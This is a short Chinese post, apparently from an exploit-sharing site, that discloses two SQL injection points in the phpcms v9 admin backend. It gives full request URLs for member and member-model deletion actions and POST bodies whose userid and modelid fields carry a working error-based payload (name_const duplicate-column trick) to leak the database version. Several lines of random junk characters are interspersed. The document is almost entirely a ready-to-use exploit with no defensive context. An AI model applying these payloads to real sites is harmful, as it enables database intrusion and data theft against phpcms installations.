phpcms两处后台的SQL注入

admin

(一)：
2 b" b) D# \5 o8 m' ~5 K

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

2 q/ o  m! R  X( j# q8 v
: P+ h3 r7 f. m" M: l$ C- x/ Q
8 D& G. T3 ~% C, `+ G* X

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)